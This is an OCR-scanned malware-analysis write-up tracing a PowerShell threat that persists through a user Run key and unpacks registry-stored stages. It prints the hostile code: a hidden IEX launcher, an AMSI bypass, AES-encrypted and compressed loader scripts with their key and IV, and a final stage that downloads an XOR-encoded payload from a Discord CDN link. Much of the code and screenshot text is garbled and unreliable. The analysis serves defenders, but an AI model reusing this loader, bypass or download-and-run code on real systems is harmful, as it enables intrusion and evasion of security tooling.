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Friday, September 30, 2022, seemed a day like any other--until a large amount of PowerShell malware came

charging through seeking immediate attention. Sparing no time, I jumped right in.

At first, this was troubling. Are the detectors working?? Is something broken?? In order to verify our detector

'ExecutionFromEnvironmentVariable' had triggered correctly for all these autoruns, I did a quick search:
details.path:powershell.exe +details.command: " GetEnvironmentVariable"
This gave the result for 40 autoruns. **) *cracks knuckles* Time to get down to business.

Pro Tip: Doing a quick search helps analysts develop a better understanding of the Elastic search
syntax. This gives analysts a better understanding of common characteristics and could potentially

assist in finding additional footholds.
Now let's dive into the autorun we are checking out.

We can see GetEnvironmentVariable('60493fbacedcfbcabe’, 'User') along with the User Run Key Name. They
both use a Base-16 (HEX) formatting, which means alphabetic characters of A - F and numbers 0 - 9 with a
length of 12 to 18. Using regex we can use [a-f0-9]{12,18}.

Search Syntax @

Query  details.path:powershell.exe +detail

Search Results (Found 40 results in 1542 ms) [+]

Bulk Actions:

Show 50 Vv entries

0 o Host Type Category Name Command
2 , e
O 10631060117 Malicious ~ UserRun Key ~ Malware / RAT " pErshey, Geernp e eE 5 e
-Command
10631061591 Mal RunKey  Malware /RAT
Y EHIEE 22 MRSy AL GelEnvironmentVariablet19051bacedcfbeabe, User))”
S emennn o CaWindows\SysWOWG4WindowsPowerShelivi OpowershelL exe -ExecutionPolicy Bypass windowstyle hidden -Comrman d
S L 1a= e o A “42049Macedelbeabe . GoEmuironmentyariable(42949bacedefbcabe’, User)y
O 10631063592 Malicious ~ UserRun Key ~ Malware / RAT & p . B ® Y Byp o ammand|
) 10631063891 Malicous  UserRunKey  Maware / RAT fhace < Senmang
7 72 Getknvironmentvariable¢21962fbacedcfbcabe’, User)
o . -Command
O 10838482782 Malicious  User RunKey  Malware / RAT
. User))®
Malware Artfacts / c wershellv e i Command*
o ¥ Byp y
uEReR000 Malidous - UserRunKeY  aneric GetEnvironmentVariable(43406eddabeba’, User)”
& exe 4 ~Command
10631 ! U
O 10631058806 Malicious  User RunKey  Malware  RAT aTsBamacedcbcabe T ssabcedtiocane. Uery
alicious  UserRunKey  Malware acedcfbcabe A2 ¥P: oneal
L a1l a0l bEs UoTinaity | Ly 1805fbacedclbeabe ), GerEnvironmentvariable('1805fbacedcfbeabe’, User’)"
Lexe Exe ¥ o ommand *
1
O 10631061865 Malicious  UserRunKey  Malware/ RAT T acedebabe | oeen st oy
O 10635959950 Malicious  UserRun Key  Malware / RAT 43406eddabcba G exe emmand
¥ {:GetEnvironmentvariable(43406eddabcba’, User)”
. xe -ExecutionPolicy Bypass -windowstyle hidden -Commany d
O 10635960231 Malicious  User RunKey  Malware / RAT 4758%eddabeba ey e e
wershellv ypass i -Command
O 10838482854 Malicious ~ User Run Key — Malware / RAT badfbdabe27842 GetEnvironmentVariable(27842badfbdabe’, 'User)"
=
O 10631060869 Malicious ~ User Run Key  Malware / RAT foacedcbcabe1805 P pcenind

GetEnvironmentVariable('1 805fbacedcfbcabe’, ‘User))"

Now, on to implementing our findings in RIOs data within ELK. We use a similar but modified search query (seen
below) which provided six additional hits. This information tells us this is an active threat still present on the host.

Read: time is of the essence.
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+process.command_line.text: " GetEnvironmentVariable" +process.command_line.text:/[a-f0-9]{12,18}/

Reviewing the Foothold Details, we are able to see the persistence created within the Hive Current Users Run
Key. (HKU\SID\SOFTWARE\Microsoft\Windows\CurrentVersion\Run)

The command ran by the Users Run Key launches PowerShell and invokes expressions in the host's environments

registry with the value 60493fbacedcfbcabe.

Foothold Details

File Path c\windows\system32\windowspowershell\v1.0\powershell.exe ]

Name fbacedcfbcabe60493 )

Path c\windows\system32\windowspowershell\v1.0\powershell.exe ]

User @

Command C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -Command "IEX([Environment]::GetE

nvironmentVariable('60493fbacedcfbcabe’, 'User")" )
Location HKU\! \SOFTWARE\Microsoft\windows\CurrentVersion\Run %]
Binary Mod Time 2021-10-06 09:53:12 EDT 2]

Binary Create

Time 2021-10-06 09:53:12 EDT £

From here we will take to tasking the user's Hive Current Users Environment: (HKU\SID\Environment). We

obtain the next stage within the registry location HKU\SID\Software\<value>.

It’s important to note: These additional registry keys will be required in the report for the customer to

remove.
Details - Key: HKU! \Environment
Values Subkeys Raw
Show 25 v entries Search:
Name Data Type
27842badfbdabe $abc = $null; for ($i=0;$i -le 500;$i++{Try{$abc=$abc+(Get-ltemProperty -path & REG_EXPAND_SZ
'HKCU:\SOFTWARE\27842badfbdabe’).$i}Catch{}}IEX($abc)
57906badfbdabe $abc = $null; for ($i=0;$i -le 500;$i++{Try{$abc=$abc+(Get-ltemProperty -path & REG_EXPAND_SZ
'HKCU:\SOFTWARE\57906badfbdabe’).$i}Catch{J}EX($abc)
7872badfbdabe $abc = $null; for ($i=0;$i -le 500;$i++{Try{$abc=$abc+(Get-ltemProperty -path & REG_EXPAND_SZ
'HKCU:\SOFTWARE\7872badfbdabe’).$i}Catch{(}}IEX($abc)
OneDrive C:\Users\ \OneDrive [7a) REG_EXPAND_SZ
Path %USERPROFILE%\AppData\Local\Microsoft\WindowsApps; 7] REG_EXPAND_SZ
TEMP %USERPROFILE%\AppData\Local\Temp 7] REG_EXPAND_SZ
T™MP %USERPROFILE%\AppData\Local\Temp Lzl REG_EXPAND_SZ
Showing 1 to 7 of 7 entries < Previous 1 Next >

Viewing the HKU\SID\Software\27842badfbdabe, we see four values (default, 0, 1 and 3) which show

PowerShell variables and encoding. Save the values 0, 1 and 3 for later and isolate the script for further analysis.
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Details - Key: HKU\ \SOFTWARE\27842badfbdabe [+ |
Values Subkeys Raw
Show 25 v entries Search:
Name Data Type
(Default) 0 @ REG_SZ
0 $knpzuwrxsww = REG_SZ
[System.Text.Encoding]::UTF8.GetString([System.Convert]:FromBase64String("VG9DaGFyQXJyYXk=")) 4]

$iawmsguupnwvhakon = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("S2V5")

1 IVxCBQ2dWQ6RBgDz1rNABBAVTqIVGUtpmO5fuG7gEX00S22yT6EAWQ7PVOCao/du7TreXMF1uugcFul9PqOWfhwz14Q REG_SZ
LsuxItOA7vOMfwRTFKGHPVNoWIGOm4Qu8I1H+7MZQ3R7QdsERPI1 busKmloLWDQJfSTKQNurdvNfL39jYvPIguwzz7o )
Qkuugkg1259078zcwljUeP8aYkgAHUfzCOjleYwfRseVyZ8+XwE4g2MtiopaOFQ/6PKssbs/SaGRNEFOUp+I4fkxwazPGM

3 tString([System.Convert]::FromBase64String("RGVjb2 1wcmVzew==")) $urkummpuizwjoi = & REG_SZ
([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]:FromBase64String("WOIPLkNvbXBy 2]
ZXNzaWSuLkNvbXByZXNzaW9uTWSkZV0=")))) $aaimrvizimrihwx =

Let’s start digging further into the script.

Within the script, it has encoded variables with Base64, a reverse array that joins the data. What could it be

hiding? And make no mistake--it's always hiding something.

TF8. GetString( [ z r 2 VGIDaGFyQXJyYXk="))
oding]: ert]::FromBase64String("s2vs"))
.Encoding] t 645 UGFKZG LuZv:

S m. En tStr .Co r :FromBa i VY="))
tem. Text.Encoding] : : UTF8.GetString( [Sy ert tring("Q3J LYXRIRGVjcnlwd69y"))
= /! 8 t.Encoding]::

oyzmrqqghk tem. Text.Ei ngl ing("Q29weVRv'
sxptgpampgrnusgx = [System.Text.Encoding] B g( [System. Convert]: : FromBase64String ("VHIhbnNmb3JtRmluYWxCbG9ja

1 omBase64 31zdGVtLk1hbmFnZW1lbnQ="))
kaxpj rsphrgsn = [System.Text.Encoding]::UTF8.GetString( [System ertla: e645tring("QXVeb21hdGlvbi5BbXNpVXRpbHM=
rhnsusxxkqpjq .Text. ding] tString( [ romBase64String("YWlzaUluaXRGYWLsZW
$htoopgwoqsz = [Sy Text.Encoding] GetString( [System FromBase64String(
$hkxskshj kwks :
$ogtinzqqnpz = tem. Te: UTF8.GetString ( [System.Con
$uhrmurym N X i TF8.GetString(
$hnwjguoozsp =
pjq","$htoopgwoqsz") . suhrmurymts($null, $true)
$sjupwisgyjzsjgixo =
$tkzwrtgk 0
yizsigixo=0; $sjupwisgyjzsjgixo -1t $tkzwrtgkusp;$sjupwisgyjzsjgixo++) { $sjupwisgyjzsjgixo++ }

$nuxvxgjmmjgmy VQriMD5CH2PKW1y1j 5XNScQ9ZGVRUKIZDcbY1Q2krFppgnjND 17ck2NWUBIX ] qT+fABGH@Ingao4VPIugh1GIGrtnvj LFMHbCSinUIhKFLOZs61PHA7/q0hSz0KFOEFEQ@hmNO t SVSAB1FGO2|

$uhyntznwuhk = $ni jmmjgmy. $k rxsww ()

[array]: :Reverse($uhyn

$gjrvojovoxotunyvn = —join($uhyntznwuhk)

$uxkswkhz [s . rt]::FromBase645tring("$gjrvojovoxotunyvn")

$hnyxrprgoumgoyp .Convert] : : FromBase64String (*9fJygHL@ooM2KYCI6EtYZ+eXdaGmLYb/krvrivVg212Q=")
$2zxhu; = CkV2Zh5WYNNXZB5Se0BXYyd2b@BXeyNkL5RXayV3YIN1LtVGdz13U"

$quskpprptowtzwp = xhuxizgyhzgz. $knpzuwrx
[array]:: se($quskpprptowtzwp)
$ojvvvgjmgjuw = —join($quskpprptowt
$ss0sjgipznqih . : :UTF8.GetString( [System. Convert] : : FromBase64String($ojvvvajmgjuw))
$xytouxqp = New-Object “$ssosjgipzngih™
$ghyushouvuooukys ==gQDVKO6BVZKIWTyVGaw12QukHawFmcn9GdwlncD55ed ImcINWZT5SbLR3C5NIW™
$rszkymzhyyypjohws = $ghyushouvuoou « $knpzuw

y1 v ymzhyyypjol

nwx = =join($rszkymzhyyypjohws)

$rhzxqukrooy .Text.Encoding] : : UTF8.GetString( [Sy .Co t]: :FromBase64St ring ($mwgwooqxnwx) )
$iyttmhwituwg scriptblock]::Create($rhzxqukrooy))
$xytouxqpvzg.$ jrgvhp = $iyttmhwituwg
$zigripunzpp = "'==gNyEDMx80UJpj0dVGZv10ZulGZKFGUukHawFmcn9GdwlncD5Se0 ImcINWZTS5Sh LR3CSNIW'

Using Cyberchef, we can attempt to quickly decode the base64 strings with the formula of Subsection and

Frombase64. This should grab the majority of strings but will still need some manual intervention. This is where

analysts come into play.
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$Knpzuwrxsww =
[System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("VGIDaGFy
QXJyYXk="))

Subsection

Section (regex)

\wi{3,}= $iawmsguupnwvhakon =
[System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("S2v5"))
$gsrwyxzpayy =
Case sensitive matching Global matching [System.Text.Encoding] : :UTF8.GetString( [System.Convert]::FromBase64String("UGFkZGlu
Zw=="))
$oywmhnhhwyihuky =
E] Ignore errors [System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("Q2xvc2U=
"))
$svvknsvstxh =
From Base64 [System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("QmxvY2tT
axpl"))
Alphabet . $tzrmpitmohxm =
A-Za-20-9+/= [Svstem.Text.Encodinal: :UTF8.GetStrina( [System.Convert]: : FromBase64Strina("S2v5u216
time: 3ms
Remove non-alphabet chars [ strict mode LT “Tihes: "7 = rl:l 2 -
$knpzuwrxsww =
[System.Text.Encoding] : :UTF8.GetString( [System.Convert]::FromBase64String("ToCharAr
ray"))
$jqwmsguupnwvhgkon =
[System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("S2v5"))
$gsrwyxzpgyv =

[System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("Padding=
"))
$oywmhnhhwvihukv =
[System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("Close"))
$svvknsvstxh =
[System.Text.Encoding]: :UTF8.GetString([System.Convert]::FromBase64String("QmxvY2tT
aXpl"))

. $tzrmpjtmohxm =

y Auto Bake [System.Text.Encoding] : :UTF8.GetString( [System.Convert]::FromBase64String("KeySize=
i "y

ster €
h

After replacing the encoded Base64 script, we quickly see it has a key, padding, I'V, and other common encryption
functions. Let’s replace the variables with the corresponding value to make the functions of the script easier to

read, thus attempting to reveal the secret embedded within.

rXSWW
guupnwvhg
1:UTF8.GetString( [Sy . vert]: : FromBase64String("Padding=
etString( r a 4String("Close”
64String("BlockSize"))
64String (" )

y .Convert] g
UTF8.GetString( [System. Co : i FromBase64String("CopyTo"))
GetString( [System. er 64String ("TransformFinalBlock="))
$zpwkyoujor = [Sy . .Encoding] : :UTF8.GetString( [Sy FromBase64String("System.Management"))
$kaxpj gs g 5 . GetString( g 4String("Automation.AmsiUtils"))
$rhnsu q & .Encoding .GetString( [S 0 { 4String("amsiInitFailed"))
xt.Encoding] : :UTF8. GetString( [S
UTF8
:FromBase64String("GetField"))
64String("SetValue"))
$hnwjguooz . din E [ - v tring("Assembly"))
[Ref] . $hnwjguoozsp. $hkxs ¥ ", gsn").$ogtinzqanpz("$rhnsusxxkqpjg", "$htoopgwoqsz") . suhrmurymts ($null, $true)
$5jupw. j
takus
upwisgyjzsjgixo=0; $sjupwisgyjzsjg tqkusp; $sjupwisgyjzsjgixo++) { $sjupwisgyjzsjgixo++ }
mm3jgmy VQrMD5CH2PKW1y1j5XNScQgZGvRUKIZDcbY1Q2krFppgnjND17 ck2NWU0IXjqT+FAG6GHOInga04VPIugh1GIGrtnvj LFMHbCS inU9hkFLOZs61PH47/q0hSz@KFOEF6QOhmNOtSVSABLFGO24
$uhyntznwuhk = $nuxvxgjmmjgmy . $knpzuwrxsww ()

[arr. Reverse ($uhyntznwuhk)
$gj rvojovoxotunyvn = —join($uhyntznwuhk)
$uxkswkhzii = [ m.Convert]: : FromBase64String("$gjrvojovoxotunyvn®)

Now with the script variables replaced, we can see the payload is using AES Encryption using cipher mode

Electronic CodeBook (ECB), dropping 16 bytes to create the IV, and it has also been compressed.

Note: Some samples use different cipher modes so make sure to verify this (for example, we have seen ECB
and CBC).
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For ($sjupwisgyjzsjgixo=0; $sjupwisgyjzsjgixo —lt $tkzwrtqkusp;$sjupwisgyjzsjgixo++) { $sjupwisgyjzsjgixo++ }
$paylo IVQrMD5CH2PKW1y1j5XNScQgZGvRUKIZzDcbY1Q2krFppgnjND 17 ck2NWUBJIXjqT+fA6GHO Lngao4VPIugh1GIGrtnvj LFMHbCSinUShKFLOZs61PH47/q0hSz@KFOEF6Q@hmNotSvSA81FGO24qday48
$Join yload.$ToCharArray()
[arrayl: ($Join)
$Convert =-join($Join)
$DropByt: 5 64String("$ConvertB64")

2645t ring ("9fJygHLOoOM2KYCI6EtYZ+eXdaGmLYb/krvrivg2120=")

Managed = “System.Security.Cryptography.AesManaged"
.Cryptography.AesManaged. $ToCharArray()

UTF8.GetString( [System. Convert] : :FromBase64St ring($ojvvvaimqj uw) )

" [System.Security.Cryptography.CipherMode] : : ECB"
yyypjohws = $ghyushouvuooukysp.$ToCharArray()
Reverse($rszkymzhyyypjohws)
yypj ohu
1::FromBase64String ($mw

$AES.$Mode = $iyttmhwituwq

" [System.Security.Cryptography.PaddingMode] : : 15010126"
$zigripunzpp.$ToCharArray()
[array]: :Reverse($wvvktnygugj)
$iquuiirgxhw y
TF8.GetString([System.Convert]::FromBase64String($iquuiirgxhw))
eate ($hvogwhqvkw

=xt.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("System.I0.MemoryStream"))
ew-Object $vkihpskoizhg(,$AES.$Crea cryptor().$TransformFinalBlock($DropBytes,16,$DropBytes.Length-16))
New-Object $vkihpsko ]
s = [System.Text.Encoding m.Convert]::FromBase64String ("Decompress"))
$I10.Compression.CompressionMode = & ([scriptblock 2 System.Text.Encoding UTF8.GetString( [System.Convert]::FromBase64String (" [I0.Compression.CompressionMode|
$System.I0.Compression.DeflateStream = [System. o oding]::UTF8.GetString( [System.Convert] romBase64String("System.I0.Compression.DeflateStream"))
$zhiystvukrsmhu = New-Object $System.IO.Compression.DeflateStream $AES-DropBytes-Transform, ($I0.Compression.CompressionMode: :$Decompress)
$2| vukrsmhu.$CopyTol$rkqgutk]v\mv)|
$zhiystvukrsmhu. $Close()
$AES.$Dispose()

To get the IV for our AES encryption, we need to place the payload in Cyberchef. Since we can see the padding =
for Base64, we reverse the payload. Then we use From Base64 after which we drop the bytes from 16 bytes (start
at 16 and a large length). Now we convert the IV back To Base64.

This results in our IV: duNJnxEFm0/Nw/W34mpGMg==

il B ®E e e 3 4 ) o) g
5 =IVQrMD5CH2PKW1y1j5XNScQgZGVRUKIZzDcbY1Q2krFppanjND17ck2NWU@IX]jqT+fA6GHALngao4VPIugh
averse 16JGrtnvi lIFMHbCSinU9hKFLOZS61PHA7/q0hSzOKFOEF6Q0hmNOt SYSAB1FGO24qday48MInc8ymuM/EZX
By 7u+YhLDvYrYv7E5GhbbsLZ7VuVmoaodGcl9r82SsA1YItuX+rYPpz4EndBH6STaTnm/UbkgWgatQGVIH1EC
Character AQKDHOOKgVS6bd0cwYHt3j 15DghCvPyIXGLIWVN74LHHMZ6SsgCZPt5c9dS8IgZhPf51k+Iz5n]/av+3gbG
0ZCiyFMDxxdQup+zAvDuz26ETg+dCCQi9qMd LxS9s+1tByBJQ8H8N98vOPAaNF10XUsZXyvj2SpH+tHoCeewWXe
Y/s7WF/bRbidU3HMV18bAtBLOBA9PZ215a]KHhu8zSi+Ke rdud Iw0gWr fyTvayG/ 1PPfgDYySd1pBK20Kb
From Base64 msz3515UhcIMhZT3n] fKOmezU/u+AsCaYVTOQDIPNQOsIgXbalLcPX8PZ+ha9P61BFVXQDz1yUg5BczIMPL
ImFhKy54pYAyieP+GReEHrtF5fRZRQ3J3C1367DGIqwtWvk rH1EWdRgFw615tDBhrzZLxQq6r2Nk3U18j0q
;:\nhzabet 0-9+/= - cBcOVexD8c58zHSp86hXTapHqLsqZRRZTpyAEf+itdekX+tHfN3Z80onD1tYQX71i8a6yHeF+y8ZxytIg4Fxf
=2 /= g9/ /WcdxGP3ncYIKam/GEbEOCE9XLIMASKgoVUDNTG+3yT]yyZgEdNEWYeHV qte/0Xdy]jaVvallGGKKIoU
gxX1GFn2WDpKBp/27]pMaEn6hxntwoySf48NZG+0rond@BdEWqjK3XW/dNgHWhmjDQYhacy rHN/ rQSGiwoT
Remove non-alphabet chars D Strict mode 8n/EzN2N7dSTXDO+5LtCOSDXFhmf3YK3IHEXNGY 1+QK]jgwigGrTHGG8wWIjuMjDBUYSaWaVISpUIWBHFYMT r
Nem49PLzrkQWpjxN3pj LlcdyXeAglec2ye3ucovDUa37IApYOPYpJqVpb5SIN/8iDI7hmLxK/mOKzIMf/DiX6
1VvMB4cYcAxeKABKOY+SGsSsTDEqBe129T1tAYLF22gCGSAILL ro/NOdZyVotYEM8Xvyyos CKEDOAIRLG+IU
Drop bytes BQfj2Ng6@8+eYFv4swr0iNtcXxbZ1zpuoMbMbgimx8TlbrfzpbP1TwsAaQfwokRV1TiIa2cg38fnj fRe
NPZBU4xvszfkVNPa8xMJItSBhou9i1Ea@RzniU03Z01v4uaVZ25huS5A2zZrYYZNZt f2/owXY+xr31IZat3bHt
Start Length start: @ time: 3ms
16 2342345125 Output e L R
duNJnxEFm@/Nw/W34mpGMg==
D Apply to each line
To Base64
Alphabet N
A-Za-z0-9+/=
STEP )
Auto Bake

Let's combine everything together now. Make sure to reverse the payload From Base64 and drop the first 16
Bytes. With the AES decrypt we require the Base64 Key 9fJygHL...], an IV that was obtained earlier
duNJnx[...], then change the AES cipher mode to ECB, input as Raw,and the output as Raw. Since the payload

has also been compressed we will be required to use Raw Inflate to get our final output.
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duNJnxEFm@/Nw/W34mpGMhn3WOMgWPfD7/8fVLSn7WinbZkvfFY8bxnlzkp5SHHCp r3UcmkmXW2+YU4u7RwP

U R FPKT1KFYwDIQed870taMIDLWSC/PHAQkS83er54D6AI10DKkuu1gFX3hiZj800c630thp70H5OKHIXRNQIK
Siart VB Lc5yqsSj3d2ZNwFFDN190uPAPh/CugGmYa/ z8E/PizaAjzrk4WubTBIKGeQq7acL Y8ghIDNWLE3B1/Qsu91A
16 coqvgy83judDBfizuvtgUOvekHKAQ4r@Y1UM3g0Tx78pW30CwPFpXQ6ax0dYuwROIRXry F71X953XH1tL6S

SccltZWDsB1lvyASaM4hYisbh8/9ZBussAYkJa93s0zgiuaMVeZPit5gD8FIOMkiYdYP090wHNucgiQ/CNnfx
WOKTZRzVZhOEZPT+1Kg7XeJxYZgidWS4RxMWLRZ iwHSNXqZS9BqyUZFZiwz17aXt0FiBFUstnfcgglLsMHI
[J Apply to each line 8X6qYWYYDa lOETYQHW7 CRIITtjg+IbWVbIpnI-+MBtOI0+ulbKatt368YqQ21e,/2MA/Vx6p3hWes tGuaxAq
65gKX2LHy0zPGtB3NrXsihzr7jFo7rZt+hULhFXswwae2y]VCghpTieew3dnWMOANYuHYWYTXbXsN+Iu@j
ay04IDsUy1vFOOCYwFXIfx23yfN1dfr4IEAzXN8m15GnZcGIofaw5miMQq)sasB3NQGBYLZ/IrWnxh+AfLY
AES Decrypt sxkRdRchdEkJOSLZC3ZH]jyC@8evBoy3xtxpGwzgP4yz2BNIE2nAMXcnuFDuFGh5 rZwzMxbs+aGPa+DeXZfN
20Ps ikFabquyTZFFK070GxXEXHNMZ] ck4YpYdIXB+m71tJ0/7B1kZQKPRCtBygZ2DUYUPISAtFXSxmliph9

Key BASE64 ~ MPpToC2Ib3I+/K/QmQ+z52zIUvvKadsFEdLCbBgBNHVQLMdPDRWVI8BA2sIyEAXDgOWDFFGItUcyiTHWIMadr
91JygHLO0ooM2KYCIGEYZ+eXda.. QIVUQF6Sx0phhwpLuxayjDmaxY30e6/dyM2mCKZ4av8yaqw+VYcaepioi/ocmi fLpuyCKRHNHPBBZKIVXnN+
v M1og92KsjTKOx1Enp@t2k169XBBUHOhhLE2SPYYXk1QKIEMQPWI2Y2i1B41j35pPkIvW8EHNYt0bgAQQhO@
duNInxEFm@/Nw/W34mpGMg== BASE64 ~ WBUuwDdBT81shtycj210u5chE1j8017v2fo+9+wleCRPzFcsm2133fXyVv8/N/VYNOG5cYZCOHzVUPic
iUsd6VtHXiIS1/kf11iv60ZavDVxK+VvUXVVHFzYKLdC4v+DEhR8XBe0c2aHEXYEZRDKP7LMbCcMSI0hBC+1u
Mode Input tlmei l ra
ECB Raw R wobien @O G < U
$gngosiijrvmngysz =
Output [System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("VG9DaGFy
Raw QXJyYXk="))
$umumpzzvggqovxrn =
Raw Inflate [System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("s2v5"))
$Nqzqygospspzpxu =
Start index Initial output buffer size [System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("UGFkZGlu
0 ] Zw=="))
$ghhvgrwvknhij =
Buffer expansion type Resize buffer after [System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("Q2xvc2U=
Adaptive D decompression ")
$hpjknxgoykpziwjtz =

] [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("QmxvY2tT
Y . axpl"))
y Auto Bake $ugkiupnrrrth =
[Svstem.Text.Encodinal: :UTF8.GetStrina( [Svstem.Convert]::FromBase64Strina("52V5U216 4

STEP

When inspecting the output we can already see the next stage is another script. This script of the payload is
identical to the previous one. This is a rinse-and-repeat stage. Hope you weren't expecting this to be

straightforward; that'd be too easy!

GetString( [Sys:
-GetString( [Sy:
1:UTF8.GetString( [S

$yuhrishqyppnh = t
$otiuwggn y ystem. Text. Encoding] : :UTF8.GetString onve: romB ring("Q29weVRv
ding]: System.Conve se64String("VHIhbnNmb3JtRmLuYWxCbGYj aw:
.Encoding] System.Convert]: : FromBase64Strir

g String("YWlzaUluaXRGYWLsZWQ="))
$whqtskpwyvwgnozgr = [System.Text.Encoding]::UTF8.G [ .Convert ronBase64String (" Tn9uUHVibGLj LFNOYXRp
.Encoding]

xmozu","$whatskpwyvwgnozgr").$rgtzgnxjztvzj ($null, $tr

For ($yyxtwgkttqghqijgi: y kttaghgijgi -1t $skoghgvnvjmi xtwgkttqghqijgi++) { $yyxtwakttqqg qi++ }
mHT-+gUD+34mUgwkebn4s@Cr9okc4Re/Xns5K7P9fgLItYySTB1k5fGoBU6IVUbj0oRhAGWhFmXx0aVqgRghCNzhqqn7jQoELBwB/DxDDAHCKOYa4N7KiPvroCrjNfaBi3LqmEln7e7Ahm3yféng
gngosiijrvmngysz()

$ztyvktpvnogqygqn

$irwtrgqzruhiw ystem.Convert]::FromBase64String("$ztyvktpvnoggyagn")

$zpwvphpmzj FromBase64String("9CsE3VTEFYQpIgPsjIwwoNHz j jA+HosATB1pza/hel
CkV2ZhSWVNNXZBSSeoBXVdebOBXeyNkLSRXayV3VlN1LtVGdzl3U”
Xnqoizjsy.$gngosiijrvmngysz()

ert] : :FromBase64String($kgswroz

qut
$ikuuy

$srqurhkv
$psqokpyttwqy stem. +Encodi UTF8.GetString( [System.Convert] :: FromBase64String($srqvrhkvrzh))
$tpgvrviosq = [scriptblock]

$v juihirmr. $yuhrishqyppnh = $tpqurviosq
$jgnynyoktqugr My kDWINLTBp] 0dVGZv10ZulGZKFGUukHawFmcn9GdwlncD5Seamc INWZTSSh1R3CSNLW'

After cementing what we just learned, we gain a new output.
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Recipe BB EF npu R S A
6 wrC4lLebwbvK]18/5G1JZy1594L0rBd0AIPe4TGtIMbig26/NE6VIPI4xma3/ZAFknrvL KfKI84dKELVXnhEt 11

From Base64 BDT2INLkovWEqw4Eii+zZk3E8F8Ceum0jPwTUVsVIgwAlps5 1FiNRE/41TstMIuFWam3o0fdzC39vAbcPTBdAB
Alphabet NJ8ChvilemAGzfe/RsBPwFf@tFrF2bp8IWxZhxzBGxrTueaBUdwSimxPV8xUv4EyTbHKEUSAiouE9qymtc7w
A-Za-z0-9+/= h I117kiQ1zK1I1bL1InGalf8Pih@+w89mjMA1wBK6 7 jF+6EHa7w7p9RjU2p0bud+2YhW7AT+wP6KLt/3bXRau

YRNWB/Y3wugioV1KxBRE WWTN1g20ImtMFX17T101VndgwkkL PNxMtASZVGTNmSTMMXVF/X4L EeNbLOteGId
L53rpwzToGCVLOYaK4ct2RxkIZsblrBRoIwMkSgpS5U4Nt LfulgejxA+XIp/U35QdFoCQ+ArGOtX5EDi X7tX
Remove non-alphabet chars  [] Strict mode g15YgJ4d bY+cYo35a/YkLPta2d]y46ViddY1VeukkN7 z9rqgEcf7mCc6hbgNF juP/KUe5feI3L CABGSgDH3 i
wmhLJTil LpONfzglolgW2jRGC/ESIrWPkwwIn00uigShbskKNZ50616LFP1s4dBagQbr/on2nwAzcQl rMpaYc
bSoPU2ND1iQZLS9+evVDwcxBzK1vyrg9BiFDa2UAHDKACMaISz5/VvTta9j8PZ41pBYOyHI0iS0 ledWcFNdRyY

Drop bytes uZwBKLMWe z5C+BUQ3ppRMinriw0G8IxxZQP+aXDGNmPQxv1HTI/p9gK7SbK7ve/PkiHabaucf64NaPsYcIMh
020zVLGyvHve/+H8gB6PODrACIMRjZi2V8ZL5EqnDKhYQfwANNFKP91Ltdn2tG4RTe@AGRODOZay3u5wS ] fi
o Length V1DII3G1hjsMHDeRCzqCSIXxM2/PCy3nYKZGny lan@fy3mhA7e7nlEmgL3iBafNjrCorvPiK7N4aYOKcHIDD
0 16 xD/BwBLE0Qij 7ngghzNChgRggVa0xmFhw6AhRo0]jbUvI6UBoGF5k1BTSYYtILgfIP7KS5snX/eR4ckodrC@s4n
bekwqum43+DUg+THmQ==]
E] Apply to each line @
time: 15ms
AES Decrypt output 1?;‘2;:5 mgg a I_EI m o
function Hex-To-Bytes{
oy BASE64 ~ [cmdletbinding()lparam( [parameter(Mandatory=$true)] [Stringl$hex);

9CsE3VTEFYQp9gPsjJwwoNHzjj.. $a = shex.Length / 2

[byte[11$Bytes = New-Object System.Bytel] $a

%
wrC4LebwbvK18/5G1]Zyiw== BASEGA~ for($i=0; $i -1t $hex.Length; $i+=2){
$Bytes[$i/2] = [convert]::ToByte($hex.Substring($i, 2), 16)

Mode Input ¥
ECB Raw return $Bytes

3
Output
Raw $enc = [System.Text.Encoding]::UTF8

function xor {
param($string)
~ BAKE $xorkey = $enc.GetBytes("kriybwqoz")
! $string = $enc.GetString( [System.Convert]::FromBase64String($string))
¢hvteStrina = denc.GetRvtes(&strina) ]

STEP

— . Auto Bake

To go further, it’s required to download the payload from a Discord link. This comes down to analysts' choice in

how they download malicious samples.

Note: If a script has Reflection.Assembly (assembly), this loads a .NET payload. Therefore anytime we see

Reflection.Assembly we know we’re dealing with a .NET malware.

function Hex-To-Bytes{
[cmdletbinding() ] param( [parameter(Mandatory=$true)] [String]$hex);
$a = $hex.Length / 2
[byte[]]$Bytes = New-Object System.Byte[] $a
for($i=0; $i -1t $hex.Length; $i+: {
$Bytes[$i/2] = [convert]::ToByte($hex.Substring($i, 2), 16

1
return $Bytes
b
$enc = [System.Text.Encoding]::UTF8
function xor {
param($string)
$xorkey = $enc.GetBytes("kriybwqoz")
$string = $enc.GetString( [System.Convert]::FromBase64String($string))
$byteString = $enc.GetBytes($string)

$xordData = $(for ($i = @; $i -1t $byteString. length;
for (%] 0; $j -1t $xorkey.length; $j++) {
$byteString[$i] -bxor $xorkey([$j]
$i++
if ($i -ge $byteString.Length) {
$j = $xorkey.length
3
i
)
$xordData = $enc.GetString($xordData)
return $xordData
}
$i = 0;
While ($True){
$ivd;
$ko = [math] qrt($i);
if ($ko -eq 1 { break}
}
$webClient = New-Object System.Net.WebClient
[stringl$xoredText = $webClient.DownloadString("https://cdn.discordapp.com/attachments/1013559875034415135/1014369421629857882/ sdwwcKk j nwsdw. mkv"')
[stringl$hex = xor -string $xoredText

echo $hex

[byte[]1$bytes = Hex-To-Bytes —hex $hex

echo $bytes.Length

